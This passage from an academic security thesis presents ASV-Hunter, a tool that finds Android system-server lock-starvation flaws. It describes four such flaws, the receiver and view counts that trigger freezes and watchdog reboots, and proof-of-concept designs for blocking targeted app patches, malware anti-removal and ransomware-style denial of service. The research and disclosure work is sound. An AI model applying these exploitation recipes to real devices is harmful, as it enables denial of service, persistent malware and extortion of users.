Single-point-of-failure in the SS. After further analysis of these services, we findthat the primary locks used to guard critical sections (80%) in these system services aremonitored by a separate thread in the SS, called watchdog. This thread is used to recoverthe system from any deadlock, starvation and other failure situations. The first columnin Table 4.5 shows that the number of services monitored by the watchdog increases
48
from three (in Android 1.5) to ten (in Android 5.1). This indicates that more and morecomplicated system services are added into the main branch Android. Note that othervendors can add more system services into the SS, which makes it more likely to beattacked.
The high level idea of this watchdog design is similar to the traditional watchdogidea in the Linux and Choices OSes [70, 71]. It sets timer-based monitors for variouscritical system components and kills the corresponding services when its timer expires.Similarly, the Android watchdog is initiated as a singleton thread inside the SS process,which is designed to be simple and reliable. Whenever a watchdog-monitored systemservice starts, it adds a new monitor into the global list for the watchdog thread. Thewatchdog creates one HeartbeatHandler instance (also called HandlerChecker in someOS versions) to proactively check the status (heartbeat) of different critical systemservices by requesting the primary monitor locks of system services (e.g., AMS.thisfor activitymanager). monitor(){synchronized(AMS .this){}} is the pattern of thismonitoring method for performing the heartbeat checks. Once any one of the monitorlocks cannot be acquired in a preset period (e.g., 1 minute), the watchdog considers thatthe corresponding system service is in the starving/deadlock situation. However, we findthat, instead of killing the relevant service thread, it kills the whole SS and forces theAndroid userspace (e.g., the zygote, the SS and other processes) to be rebooted. This
seemingly normal design can cause another consequence: an app can potentially control
the watchdog bite on the whole SS process. For instance, the app can invoke some specific
RPC into the critical sections to cause the ss_freeze effect for a long period, so as to
raise a false alert to the watchdog thread. Since the System Server can be controlled to
be shut down, we name this attack consequence SS_shutdown.
We come to a hypothesis that these consequences reveal a general flaw in Android,which is rooted in the fundamental design of the SS, the core of Android. We name thisclass of vulnerability Android Stroke Vulnerability (ASV), when being exploited, thenormal service-request flows within the system services are blocked. This eventuallycauses the shutdown of the SS and a userspace reboot.
4.3 Android Stroke Vulnerability Hunter
In this section, we design an Android Stroke Vulnerability Hunter (ASV-Hunter) to helpidentify ASVs in system services and further validate our hypothesis on the potential
49
Sta$c Code Analyzer
New ASVs
Poten$al Risky
Methods
System Services .class Files
Control Flow Graphs and Call Graphs
Candidate Risky Method SiAer
Triggering-‐Point Analyzer
Triggering Points for risky methods
Android Source Code
Risky Method Tester
Preprocessor
New ASVs
Figure 4.2: The ASV-Hunter framework
hazards in the system server (SS) of Android. Then we demonstrate how to successfullyexploit the ASVs to cause the Android Freezing and Android Broken consequences.
4.3.1 ASV-Hunter Design Logic
Due to the large set of APIs from the platform SDKs and the huge code-base of theAndroid system services, one can hardly test every method in the SS comprehensively.Therefore, we consider the key for efficient ASV hunting is to distill a set of high-riskmethods in various system services. Based on our earlier observation, a general way toexploit the ASVs is to trigger one of the system services to execute a complicated methodwith critical code sections. This causes the monitor lock to be held for a long period. Asa result, other threads that need to acquire the same monitor lock are starved (referred toas SS_freezing). Eventually, this long period (30s-60s) of resource starvation can cause awatchdog bite on the whole SS (SS_shutdown). We call the methods that can cause theSS_freezing or SS_shutdown as risky methods.
To sift out a set of candidate-risky methods in different system services and betterassist further analysis, we design the ASV-Hunter, which consists of four components: 1)a lightweight but efficient static code analyzer to construct the control-flow graphs (CFGs)and call graphs for each system service in the SS, 2) a candidate-risky-method sifter tosift out the potentially risky methods and provide more targeted analysis, 3) a triggering-
point analyzer to identify a set of triggering methods that may invoke the executionof corresponding candidate-risky methods, and 4) a candidate-risky-method tester totest whether the candidate-risky method is actually triggerable. Once a candidate-riskymethod is tested to be triggerable from the triggering point method, it will be reported tothe security analysts for further analysis and stress testing.
50
4.3.1.1 Analyze the Android System Server Bytecode
To perform a detailed analysis on the System Server (SS) of Android, we extract therelevant Jar files from the compiled Android AOSP source code of v5.0.0, the Lollipop.We then preprocess all the compiled Java bytecode (.class files) of the system servicesimplementation. During the preprocessing, we find that the SS contains 1,570 class files,10,812 methods, 993,782 lines of bytecode instructions, and 70,204 method invocations.To fully analyze all the critical system services in the SS, we design an efficient static code
analyzer. It first takes the decompiled Java bytecode files of the system services as inputsand uses the Soot [72] analysis framework to translate the Java bytecode instructions intoan intermediary representation (IR), namely the Jimple IR. With the support of Soot, weconstruct the method-level CFGs efficiently for each .class file, which takes less than anhour on an Ubuntu machine with 4G RAM and an Intel Core i5 processor. Second, wegenerate the call graphs based on an existing tool [14] for the whole Android framework,which takes about 4 hours. Building the method level CFGs and the whole call graphsis a one-time effort. Third, we stitch the CFGs with the edges in the constructed callgraphs (i.e., adding invocation edges between callers and callees in the correspondingCFG nodes) for all services. As a result, we have a comprehensive approximation of howthese system services interact with each other and all the potential control flows withineach service. This helps us further measure the complexity of different candidate-riskymethods in the corresponding services, as well as assisting our triggering-points analysis.The generated graphs also help us easily identify some attack scenarios (described inSection 4.4), which cause various damages in Android.
4.3.1.2 Sift Out Methods for Analysis
To cost-effectively identify and analyze the candidate-risky methods in the SS that lead tothe ASVs, we design a candidate-risky-method sifter to identify a set of highly-exploitablemethods in various system services. The sifting criteria for each candidate-risky methodare as follows: 1) if a method contains more complicated control flow structures (e.g.,loop structures), it is more likely to cause starvation; 2) if a method contains synchronizedblocks that contain more bytecode instructions, it is more risky to cause ASV; 3) if amethod calls more other methods (with more invoke-direct/.../static instructions) or 4)appears in the callsites more frequently, it has a higher chance to cause problems; 5) if it isa lock-suffixed method, it is considered risky, as this method can only be called in critical
51
code blocks (i.e., one of its caller methods in the call stack should contain a synchronizedblock, which is wrapped with monitorenter/monitorexit opcode pair); 6) if the method iscalled while holding a lock that is monitored by the watchdog thread, it is more risky asit can potentially cause the SS_shutdown consequence. All the criteria are encoded as aRiskMethodVector. The first four numerical fields in the vector measure the complexityof each method, which is relevant to the SS_freezing consequence. Also, the last twofields are boolean values which are relevant to the SS_freezing and the SS_shutdown
consequence.
Algorithm 2 Pseudocode to rank the risky methodsInput: SSjar :{Android System Server Jar files};
k:{specify the top k risky methods of interests};φ:{specify the weight vector for ranking};
Output: SSmethod : {Ranked top-k Risky Methods};ν : RiskMethodVector[δ,γ,σ,ε,α, ω]δ : {# of loops in the method, value: [0, n)};γ : {# of critical code sections, value: [0, n)};σ : {# of method invocations, value: [0, n)};ε : {# of times being invoked, value: [0, n)};α : {a lock-suffixed method/not, value: 0/1};ω : {a watchdog monitoring method/not, value: 0/1};ξ : {all the vectors of the analyzed risk methods};χ←staticCodeAnalyzer(SSjar){χ is the superCFG}for each system service S in the system server do
for each class C in S dofor each method M in C do
initialize(ν)ν ← DepthFirstSearch(χ, ν, C, M)//To collect and update relevant information in νξ← ξ + [ν, C, M ]
end forend for
end forξ← rankRiskMethods(ξ, φ)for each system service S in the system server do
SSmethod← returnTopRiskMethods(S, k, ξ)end for
Based on these criteria, we design Algorithm 2 (in Appendix A) to collect relevantinformation for all methods the system services. First, our static code analyzer returns the
52
Table 4.2: Ranked top-10 risky methods in ActivityManagerService and WindowMan-agerService
ActivityManagerService WindowManagerServicedumpProcessesLocked removeWindowInnerLockedbroadcastIntentLocked handleAppTransitionReadyLocked
cleanUpApplicationRecordLocked performLayoutAndPlaceSurfacesLockedactivityIdleInternalLocked updateRotationUncheckedLockeddumpBroadcastsLocked adjustWallpaperWindowsLocked
removeHistoryRecordsForAppLocked dumpWindowsNoHeaderLockedupdateOomAdjLocked moveStackWindowsLocked
ensureActivitiesVisibleLocked setTokenVisibilityLockedprocessNextBroadcast dumpWindows
registerReceiver computeChangedWindows
stitched CFGs; then, we set the system-service method under analysis as the entry nodefor a depth first search (DFS). We adopt the traditional loop identification algorithm [73]to effectively compute the number of loops for each method. During this DFS process,we also count the number of synchronized code blocks and collect the number of invoke
instruction and other relevant information, so that all the fields in the RiskMethodVector
are filled. This whole process helps us build a vector database for all the methods in theSS, which enables us to sift out candidate risky methods gradually. Specifically, in thefirst batch, we issue a strict query to the database, such as [(δ > 1) ∧ (γ > 40) ∧ (σ >3)∧ (ε > 3)∧ true∧ true]. This tries to match and return all the candidate-risky methodsthat each contains at least 2 loops, has more than 40 instructions in critical sections,contains at least 4 invoke-opcodes, appears at least 4 times in the callsites, is a lockedsuffixed method, and is guarded by a monitor lock checked by the watchdog thread.The query returns 171 methods in the first batch from system services, which yield two
unknown ASVs after further testing.We then issue more relaxed queries by reducing the thresholds for the first four
fields and using 5 ORs relation among these 6 querying criteria. For instance, the lastquery in the second batch is [(δ > 0) ∨ (γ > 10) ∨ (σ > 0) ∨ (ε > 0) ∨ true ∨ true].These relaxed queries return about 1983 risky methods gradually, which lead to theidentification of two new ASVs later on. We then stopped our querying operationsbecause the methods that further returned are either too simple to cause any long enoughSS_freezing consequence or not capable of causing SS_shutdown consequence. However,we do not claim that the criteria and heuristics used here is perfect. Note that the purpose
53
Table 4.3: Discovered new ASVs in the ActivityManagerService and WindowMan-agerService
ASV # Risky SS Method and its corresponding Triggering Points (TPs)1 AMS.broadcastIntentLock()
TPs: ActivityManager.sendBroadcast()/.../sendBroadcastAsUse()2 AMS.cleanUpApplicationRecordLocked()
TPs: android.os.Binder.sendDeathNotice()/...3 WMS.performLayoutAndPlaceSurfacesLocked()
TPs: WindowManager.addView()/.../updateViewLayout()4 WMS.removeWindowInnerLocked()
TPs: android.os.Binder.sendDeathNotice()/...
of the sifter is to gradually reveal more potentially risky methods to prioritize the costof further analysis effort (e.g., dynamic testing). Our current setups capture most ofthe traits in the candidate risky methods that are most likely causing the ASV. Detailedresults are shown in Section 4.3.2.
4.3.1.3 Triggering-Point Analyzer
After sifting out a set of candidate-risky methods in the relevant system services, wewant to identify their corresponding triggering points so as to better assist further dy-namic testing. The triggering points are those methods that can trigger the execution ofcorresponding candidate-risky methods from a third party app. Therefore, we design atriggering-point analyzer, which uses a backward reachability analysis on the constructedcall graphs. As we want to find candidate-risky methods that can be directly triggeredfrom any app, when traversing the call graphs, we pruned the traces with inter-servicecalls. That is, a traversal will terminate when it identifies a trace contains two methodsfrom different system services. Note that inter-service calls might be feasible paths aswell, but it requires more effort to trigger during runtime testing. This means it is evenharder to be exploited. Thus, we consider those traces less likely to produce the ASVs.This pruning strategy also helps us reduce low risk cyclic traces among services.
Figure 4.3 contains one sample trace that corresponds to the identified triggeringpoint (in blue) of the risky method (in red). Note that due to the fundamental limitationsof static analysis and the conservative design to find more traces statically, some of theidentified triggering points might not lead to risky method execution. Also, since wewant to obtain the direct accesses to most of the triggering points through Android APIs,
54
we further match the returned triggering points against the specified third-party APIs inframeworks/base/api/current.txt from Android source code. Finally, our triggering-point
analyzer is able to statically identify triggering points for 1,677 (out of 2,154 total fromtwo batches: 171 and 1,983) candidate-risky methods.
4.3.1.4 Candidate-Risky Method Testing
We perform dynamic testing to further evaluate the 1677 returned candidate-risky methodswith triggering points. To confirm that the candidate-risky methods can indeed betriggered through Binder IPC/RPC calls from an app, we instrument the Android BinderIPC mechanism. Most of the remote procedure calls from an app to the SS in Androidare handled by the Binder IPC/RPC mechanism. When a process invokes an RPC, ourinstrumentation call will generate a specific calling ID, which will be included in theBinder transaction data (i.e., parcel object). The whole parcel will be sent to the remotebinder thread that actually executes the candidate-risky method. All the operationsperformed by the binder thread are logged with the calling ID, so that our further analysiscan easily map the invocation of risky methods with the corresponding calling processbased on the testing logs. This helps automatically confirm the candidate risky methodsare indeed triggerable.
With this binder instrumentation scheme, we then generate test cases to analyze thecandidate risky methods in two phases. First, we run a configured test case to checkif the corresponding risky method can be triggered by analyzing the testing logs. Ourtesting case is based on a normal Android app, so that the test units are directly reusableto construct proof-of-concept (PoC) attacks. The testing app template contains onenormal main activity component (needed for most Android apps). The main activity willsend intents to initiate different tasks at a number of IntentService components (for theexecution of long running tasks) as test units. Within each IntentService, we test thereported risky methods by invoking the triggering-point to trigger the corresponding riskymethod. We write a parser with the antlr framework [74] to customize the IntentServicecomponents, so that security analysts only have to load the configured test-cases intoAndroid Studio IDE (AS-IDE) and specify the relevant parameters for the developer-APIs.Second, if a method is triggered, we then perform a stress test by further configuringdifferent testing parameters (e.g., register different number of receivers and configuredifferent parameters values in the APIs) to trigger various conditions.
Using the AS-IDE, we were able to configure and fully test 3,192 test-cases for all the
55
andr
oid.
serv
er.w
m.W
MS:
-per
form
Layo
utA
ndPl
aceS
urfa
cesL
ocke
dInn
er()
andr
oid.
serv
er.w
m.W
MS:
-per
form
Layo
utA
ndPl
aceS
urfa
cesL
ocke
dLoo
p()
andr
oid.
serv
er.w
m.W
MS:
-per
form
Layo
utA
ndPl
aceS
urfa
cesL
ocke
d()
andr
oid.
serv
er.w
m.W
indo
wM
anag
erSe
rvic
e(W
MS)
:-rel
ayou
tWin
dow
()
andr
oid.
serv
er.w
m.S
essio
n:-re
layo
ut()
andr
oid.
view
.IWin
dow
Sess
ion:
-rela
yout
()
Bind
er IP
C/RP
C
andr
oid.
view
.Vie
wRo
otIm
pl:-r
elay
outW
indo
w()
andr
oid.
view
.Win
dow
Man
ager
:-upd
ateV
iew
Layo
ut()
andr
oid.
serv
er.a
m.A
ctiv
ityM
anag
erSe
rvic
e:-b
road
castI
nten
tLoc
ked(
)
andr
oid.
serv
er.a
m.A
ctiv
ityM
anag
erSe
rvic
e:-b
road
castI
nten
t()
andr
oid.
app.
Act
ivity
Man
ager
Nat
ive:
-bro
adca
stInt
ent()
andr
oid.
app.
IAct
ivity
Man
ager
:-bro
adca
stInt
ent()
Bind
er IP
C/RP
C
andr
oid.
app.
Cont
extIm
p:-s
endB
road
cast(
)/.../
send
Ord
ered
Broa
dcas
t()
andr
oid.
app.
Cont
extW
rapp
er:-s
endB
road
cast(
)/.../
send
Ord
ered
Broa
dcas
t()
Figu
re4.
3:Tw
oex
ampl
esof
the
iden
tified
trig
geri
ngpo
ints
(Top
:upd
ateV
iew
Lay
out;
Bel
ow:s
endB
road
cast
)
56
Table 4.4: 4 Android devices used in the Dynamic Testing
Device Name OS/Kernel v CPU core/speed RAMNexus 7 Tablet 5.0.2L/3.4.0 Quad/1.3kMHz 1GNexus 4 Phone 5.0.0L/3.4.0 Quad/1.5kMHz 2GSamsung S4 4.3JB/3.4.0 Quad/1.6kMHz 2GSamsung Ns 4.0.4/3.0.36 Single/1kMHz 0.5G
1,677 candidate risky methods by leveraging its type inference within a month (2 hrs/day).Note that our candidate-risky-method sifter is very effective, since all the four ASVs areidentified within the first week of our analysis. Also, the first two ASVs are confirmedwithin the first batch returned by our stricter querying and the other two ASVs are alsoreturned very early when performing the second batch of querying, which were alsotested earlier. Also, the second batch return about 10 times more methods than the firstbatch, but yields the same amount of ASVs, which demonstrates that our sifter indeedreturns first the methods with high chance of causing ASVs. Hence, we envision oureffective sifter can be extended into a generic framework to support analysis of similarperformance issue of other Android system components (e.g., the native daemons), theApple iOS middleware and etc.
4.3.2 ASV Hunting Result
Our ASV-Hunter helps us identify four new ASVs in two batches of queries (listed inTable 4.3), which are confirmed exploitable by any third party app. All of the ASVs havebeen further tested and confirmed in four different Android devices (listed in Table 4.4)with Android version (4.0.4–5.0.2). Given the giant code-base of system services, theresult indicates that our candidate-risky-method sifter can help gradually return the mostrisky methods that lead to ASVs and our two-phase dynamic testing indeed helps securityanalysts reduce the analysis effort.
From all the tested system services, activitymanager and windowmanager are con-firmed vulnerable and each contains two ASVs. Table 4.5 shows that these two systemservices are monitored by the watchdog thread in all Android versions (v1.5-v5.1), indi-cating that they are actually very essential to Android. Later, we can easily build severalPoC attacks by exploiting them to cause various threats to Android users.
Next, we discuss the discovered ASVs by focusing on their exploitation requirementsand their direct consequences to the system when exploited. Section 4.4 provides a more
57
0 0.5 1 1.5 2 2.5 30
10
20
30
40
50
60
70
Number of registered receivers (in k)
Tim
e fo
r br
oadc
asts
of r
ecei
vers
(in
sec
onds
)
Nexus 4Samsung S4Nexus 7Nexus S
Figure 4.4: The freezing-time trend of ASV #1 whendifferent # of receivers areregistered
0 50 100 1500
10
20
30
40
50
60
70
Number of registered receiversT
ime
for
clea
nups
of r
egis
tere
d re
ceiv
ers
Nexus 4Samsung S4Nexus 7Nexus S
Figure 4.5: The freezing-time trend of ASV #2 whencleaning up different # of re-ceivers
0 10 20 30 40 50 600
10
20
30
40
50
60
70
Number of added views
Tim
e fo
r th
e re
mov
als
of th
e ad
ded
view
s
Nexus 4Samsung S4Nexus 7Nexus S
Figure 4.6: The freezing-time trend of ASV #4 whenremoving different # ofviews
detailed threat analysis on these ASVs with several proof-of-concept (PoC) attacks.
4.3.2.1 Vulnerable Message Broadcasting in AMS
One of the risky methods that are discovered by the ASV-Hunter is the broadcastIntent-
Lock() in the activitymanager service (AMS), which is executed to resolve receivers anddeliver the actual broadcast message to them. In Android, any app/service is able to broad-cast a message to a set of specific components of apps/services that have registered thematched action strings for the message. For example, if a battery-status-monitoring appneeds to receive messages from the powermanager service, which indicate the changesof battery status, it needs to register a broadcast receiver with action.battery_status_low.Both receiver registration and message broadcasting are handled by methods in the AMSclass. When any app/service registers a receiver by calling the registerReceiver() APIstub, a Binder RPC call happens and the corresponding method registerReceiver() in theAMS is invoked. Within the registerReceiver(), the corresponding receiver fields (e.g.,action, type, scheme and permission) are parsed into a broadcastFilter object, which arefurther added into a global object mRegisteredReceivers. This global object includes allthe dynamically registered receivers4.
4Apps/services can register static receivers in the AndroidManifest.xml file, which is actually main-tained by the packagemanager by parsing all the manifests and bookkeeping those receivers when the
58
The broadcastIntentLocked method is a lock-suffixed method in the activitymanager,which indicates that it can only be called when the AMS.this lock is held. The AMS.this
lock is checked by the watchdog, so the SS_shutdown consequence can happen whenthe lock is held for a duration longer than the preset timeout of this lock in the watchdog(usually set as 1 minute). Later, we observe that this method is indeed very complicatedwith several nested loops. When a broadcast request is sent to the SS, a binder thread willcall queryIntent() to resolve a set of relevant receivers by matching the broadcast fieldsagainst the fields of each registered receiver in the global object mRegisteredReceivers.This process is actually very time-consuming, as each broadcast usually contains severalfields and matching each field to resolve the receivers is a complicated task. Hence, itis actually returned by our risky method sifter with strict queries. Our triggering-point
analyzer also reports a set of relevant triggering points to trigger this method, includingsendBroadcast, sendBroadcastAsUser, sendOrderedBroadcast and other similar APIsstubs, which are later confirmed triggerable during our testing.
Exploitation requirements and consequences. To exploit the ASV # 1, our testunits register many receivers into the global intent resolving object, namely the mReg-
isteredReceivers in the AMS. By triggering the risky method broadcastIntentLocked()
from one of the triggering points (e.g., sendBroadcast()), it can cause the ss_freezing
consequence to the whole activitymanager service.Figure 4.4 shows the freezing time as a function of the number of registered receivers
on four testing devices. When invoking the broadcastIntentLocked() to exploit ASV#1 with 1,500 identical receivers registered, it can cause the ss_freezing effect for about20 seconds, during which most of the critical sections in activitymanager cannot beaccessed to other threads. Furthermore, as most of Android services and apps rely onthe activitymanager, there are potentially many other consequences. One scenario is thatthe launcher app in the system will not be able to respond, so the user cannot interactwith the screen and the system becomes totally unresponsive for the user. Also, since theactivitymanager manages the life cycle of apps, it cannot help any app perform any task(e.g., start(stop)Activity, start(stop)Service and etc.).
When triggering the broadcastIntentLocked() to exploit ASV#1 with 3,000 receiversregistered in the activitymanager, it can actually cause ss_freezing for more than 60seconds. By analyzing the recorded logs in our ASV-Hunter, we find that it indeed causes
system boots up. Note that all these static ones have lower priority than the same receiver types that areregistered dynamically.
59
the SS_shutdown consequence every time when the lock has been held for more than60s. This is because the watchdog keeps monitoring the AMS.this lock, and it kills theSS process to force the system to take a soft reboot when it cannot obtain the lock withina minute. Note that during the experiment, we disable the watchdog bite capability, sothat all the highest data points in Figures 4.4, 4.5 and 4.6 can reach 70 seconds withoutthe impact of system reboot.
4.3.2.2 Vulnerable Application Record Cleanup in AMS
The cleanUpApplicationRecordLocked() method is another risky method in the AMSconfirmed by our ASV-Hunter as vulnerable. After further checking, we find that it islock-suffixed and contains several nest loops. Since the AMS manages the life-cycle of allAndroid apps/components, it has to remove the relevant fields from its global object (e.g.,mRegisteredReceivers) when certain app components died. The cleanUpApplication-
RecordLocked method will invoke the AMS.removeReceiverLocked() method multipletimes when an app is killed. Within this method, the removeFilter method of the Intent-Filter object is further called to remove all the previously registered receivers. Therefore,besides matching the intent fields, it has to match the relevant intent fields as well asremoving the corresponding registered receivers from the global object, thus making iteven more complicated than the previous risky method, broadcastIntentLocked().
Exploitation requirements and consequences. To exploit the ASV #2, our risky-
method tester confirms that one only has to write a simple loop to dynamically register75 receivers with tens of fields in each receiver into the mReceiverResolver object. Thiscan cause the ss_freezing consequence for about 20 seconds when triggered. Since thetriggering-point of this method is the sendDeathNotice(), when designing our testingapp, we find that it can be triggered indirectly by calling the System.exit() to causeremoval of all the previously registered receivers. Figure 4.5 shows different freezingtime periods caused by different numbers of registered receivers on different Androiddevices. We can observe that the trend is superliner, which means as the number ofregistered receivers increases, the freezing time will increase dramatically. To cause theSS_shutdown consequence, one only needs to register 75 more receivers to freeze theactivitymanager service for an extra 40 seconds. The potential direct consequences ofthis ASV are quite similar to that of the ASV #1. Our further investigation find that thisASV can be naturally leveraged to design anti-removal techniques for malware.
60
4.3.2.3 Vulnerable Screen Layout Manipulation in WMS
Our risky method sifter returns the performLayoutAndPlaceSurfacesLockedInner() methodin the WMS with a strict querying criteria. Later, we find that it is a complicated methodand it needs the mWindowMap object lock before execution. The mWindowMap object isone of the critical resources in the WMS, which contains the WindowStates of all apps,so it is monitored by the watchdog thread. Almost all the critical tasks of the WMS thatmanipulate the screen layout need to hold this lock.
One of the direct triggering points leading to this risky method is the windowman-
ager.addView() API stub. We only have to configure the required permission for callingthis API and then test the exploitability of this risky method through our risky-method
tester.Exploitation requirements and consequences. We find that calling this method
repetitively can cause continuous freezing of the system UI. After further analyzing theinternal design of this risky method, we find that it is a critical method for the Androidsystem that keeps reorganizing the screen components when changes happen. It helpscalculate the layout components on the screen and fresh the relevant view pixels byinteracting with the SurfaceFlinger service, which feeds the actual pixels to the memory(i.e., the framebuffer). Therefore, by adding views onto the screen or keeping modifyingthe screen components, the performLayoutAndPlaceSurfacesLockedInner() method isforced to keep recalculating the screen layout components and refreshing the screenwith the SurfaceFlinger. This can prevent normal user’s interaction with the systemand cause ss_freezing repeatedly (around 1 second each time). Since the mWindowMap
resource is not held continuously for 60 seconds, a watchdog bite cannot happen in thiscase. However, when our testing app adds around 30 tiny (almost invisible) views on thescreen, the Android userspace will be rebooted (i.e., zygote and the SS killed) due to afailure in the HWComposer5 of the SurfaceFlinger. This is another form of SS_shutdown
consequence, which shows that the heuristics used in our hunter can help identify riskymethods with problematic design in the system.
5HWComposer does several different things: sync framework (vsync callback), mode-setting, com-positing layers together using features of the display controller, displaying frames on the screen.
61
4.3.2.4 Vulnerable WindowState Removal in WMS
Another vulnerable method in the WMS returned by our hunter is the removeWindowIn-
nerLocked() method. When triggered, this method recursively calls itself and eachrecursive invocation will further call a couple of complicated code blocks to refresh thescreen. Our triggering-point analyzer finds that it can be triggered when the correspond-ing binder object in an app is removed, which means we can use the System.exit() on thetesting app itself to trigger this RPC in the windowmanager6.
Exploitation requirements and consequences. To exploit the ASV # 4, our testapp first adds about 50 tiny views (human invisible) onto the screen.7 Later, at anycritical moment, the test app can choose to trigger the recursive call on removeWin-
dowInnerLocked() to remove all the previously added views. This operation holds thelock mWindowMap of the windowmanager continuously for a long enough period andeventually causes a watchdog bite on the SS. The corresponding time trend is shown inFigure 4.6. Therefore, this exploitation can cause both the SS_freezing and SS_shutdown
consequences. Furthermore, no further user interactions can be accepted by the system,since the window layout rendering mechanism is paralyzed.
4.3.2.5 Human Intelligence
Currently, our ASV-Hunting process still needs human intelligence to understand thesemantics of the tested API in order to eventually confirm the actual exploitability ofASVs via further stress testing. For instance, we figure out that by calling System.exit() inan app/component, one can trigger the ASV#2 indirectly. Also, the ASV#4 can only beexploited when the PixelFormat is not set as TRANSPARENT. Furthermore, the ASV#2can register less receivers, when all the fields (e.g., action, data and etc.) in the receiversare not null. We can tell that all these heuristics that help us confirm the final exploitabilityof ASVs is not very straightforward. Therefore, how to further guide the API testing forvulnerability analysis is an interesting but challenging task for our future work. We notethat recently, similar observations have appeared in the UI vulnerability analysis [75].
6The windowmanager uses the death recipients mechanism of Android. When the app is killed whileits windows are still showing, the windowmanager will receive a death notification callback to clean upeverything
7In this test, we temporarily fixed the HWComposer vulnerability by disabling it in the SurfaceFlingerand rebuilt the system
62
4.4 Proof-of-Concept Attacks
In this section, we perform threat analyses by engineering several proof-of-concept attacks(PoCs) exploiting the discovered ASVs under various application contexts. With a thor-ough understanding on the consequences of the ASVs and their easily-exploitable nature,we can easily design the PoCs to cause various user impacts. Recorded videos of somePoCs can be found in the following link: https://sites.google.com/site/heartstrokevulnerability/.
4.4.1 Attack Design Overview
In our current design, we implement the PoCs in a third party app, which can be installedon the victim device through repackaging popular apps or other social engineeringapproaches. This is a common requirement for Android-based attacks [3,76,77]. Remoteexploitations through other code injection channels (e.g., vulnerable HTML-5-basedAndroid apps [78]) are also applicable, due to the easily-exploitable nature of the ASVs.Exploiting the ASV#1 and ASV#2 requires no permission, and exploiting ASV#3 and#4 requires only one normal permission to add window. The design of some specificattacks might need one/two common permissions (e.g., the internet or boot_complete
permission).
4.4.2 Attack Design and Implementation
4.4.2.1 Hindering Critical Application Patching
Attack Scenario. Due to the evolving nature of mobile systems, mobile apps (e.g.,antivirus, banking and other apps) have to patch vulnerabilities [36, 79–81]) very fre-quently. We show that by exploiting some of the ASVs, the app-update task for thevulnerability patching can be manipulated (either being delayed or completely failed).Suppose that two banking apps need to be updated (patched) in an Android device: oneis the Citi bank client side app (not vulnerable) and the other is the Bank of America app(BoA-app). Also assuming that only the BoA-app has a serious vulnerability, which canbe leveraged to steal users’ account credentials. Also, the adversary only wants to causethe patching failure in the targeted BoA app, so that the vulnerability in the BoA app canbe continuously leveraged without effecting the patching process of other apps. Let ussee how this can be achieved.
63
Design and Implementation. The app-update task performed by the packageman-
ager service (PMS) has three sequential subtasks, including removing the old package,adding a new app package and configuring the new app. It needs to grab the AMS.this
lock three times to send three broadcast intents sequentially to other components (e.g.,installd) with action strings package_removed, package_added and package_updated,respectively. In this way, other system components can collaborate in this atomic processto help in various sub-tasks. Through triggering the ASV#1 or ASV#2 of the AMS, onecan block the following sub-tasks (adding package or configuring package). We testdifferent timings to trigger the exploit and find the best moment is right after the removalof the old package. Therefore, we implement our PoC-App by registering one receiverwith the package_removed action.
Note that this attack is highly targeted, as it only performs the exploitation for thesystem that has installed the targeted vulnerable app (here the BoA-app), but not theother apps. This can be done by obtaining a list of vulnerable apps’ version codes andpackage names through offline reverse-engineering. Our app will only plan the ASV(i.e., register enough receivers according to the results in Figures 4.4 and 4.5) when theinstalled package name (boa.app) and the version number is matched with the targetingapp. This can be verified by calling packagemanager.getInstalledPackages(). Also, theplanned ASV will only be triggered by receiving the broadcast with the package_removed
action and the updated package is boa.app.Result. When the AMS.this monitor lock is being held over one minute, the system
reboots. The PMS of Android has a failure-recovery mechanism, which rolls back theunfinished app-update task to ensure its atomicity. This mechanism provides a consistentstate for the whole system; however, it unexpectedly leaves the vulnerable app unpatched.Therefore, the malware can keep leveraging the known loophole in the app (e.g., keepon stealing users’ banking credits). By exploiting the similar scenario for less than aminute (the watchdog bite will not be triggered), attackers can control the exploit to onlydelay the update of critical apps. Based on this observation, we implemented a PoCthat extends the null-protection window length described in the engine-update attackagainst the mobile antivirus apps discovered in a previous work [76]. Both PoCs aretested for 10 times on four Android devices listed in Table 4.4 with 100% success ratewith no Android permission needed.
64
4.4.2.2 Anti-Removal Technique
Attack Scenario. In this scenario, any malicious app can be potentially equipped with ananti-removal technique by naturally exploiting the ASV#2. By checking the control flowof the AMS, we find that an app removal operation includes two tasks. First, the systemneeds to kill the relevant active processes of the target app and deregister its runningstatus through activitymanager. Second, the package-removal task is then executed.
Design and Implementation. In the first task, to clean up the dynamic app record,the system has to invoke the risky method AMS.cleanUpApplicationRecordLocked() ofASV#2. Now, if the malicious app manages to exploit the risky method of ASV#2(registered certain amount of receivers), its package can never be removed. Because thewhole removal process is guaranteed to be blocked at the first task, it cannot proceed tothe second package-removal task. We design a PoC app for this case. Our app registers150 receivers, which blocks the removal operation at the first task for over a minute andeventually cause a watchdog bite on the SS, followed by a soft reboot. When the systemreboots, the PoC app listens on the system boot-up broadcast message and exploitsASV#2 again.
Result. When testing the anti-removal technique, we use a third-party removal appas well as the system setting (removal) app to perform the removal operation for fivetimes on four various devices. The test result is quite consistent. All the 40 trials areblocked for one minute and followed by a soft reboot, and our PoC app package remainsuntouched after the soft reboots. Note that Google remote uninstall mechanism will nothelp on this either, as it still needs to kill the running PoC process(es) on the devicelocally before actually removing the malicious package. Therefore, an average personwill have a hard time dealing with malware that is equipped with this technique.
4.4.2.3 Repeated DoS Attacks
Attack Scenario. Many ransomware families [82–86] are now attacking the mobiledevices. We find that the discovered ASVs can serve as ideal building blocks to constructransomware. One straightforward way is to exploit these ASVs to cause continuous DoSeffects on the Android devices and then ransomware writers can request for a ransom toremove the consequences.
Design and Implementation. We design two PoCs. One is to continuously freezethe device using the discovered ASVs (each freezing period is less than 50 seconds)
65
and the other is to cause soft reboots continuously. When the system performs a softreboot or a complete restart, Android broadcasts a message with action.boot_complete.For the second case, our PoC app registers the boot_complete receiver to get notifiedand then plans the next exploitation. The ransomware writers can add a window onthe screen requesting for the ransom. After receiving the ransom, he/she can remotelycommand the ransomware to stop triggering these ASVs. Basically, before triggeringthe next exploit the ransomware will try to connect to a remote server for a command torelease the attacks. Note that an attack can hardly be stopped in the middle. This can beeasily achieved with the only the freezing based attack. For the rebooting based attack, itrequires the network to be connected before the triggering of next exploit. The ASVswon’t allow the user to interact with the screen. Also, the ransom information can bepresented to the screen with an activity view on top of other views right before triggeringthe exploits.
Result. The result shows that the designed PoC apps are quite effective at causingss_freezing with a ransom view presented on the screen. Also, when combined with theanti-removal technique, it becomes more difficult to clean up.
4.4.2.4 Attack at Mission Critical Moments
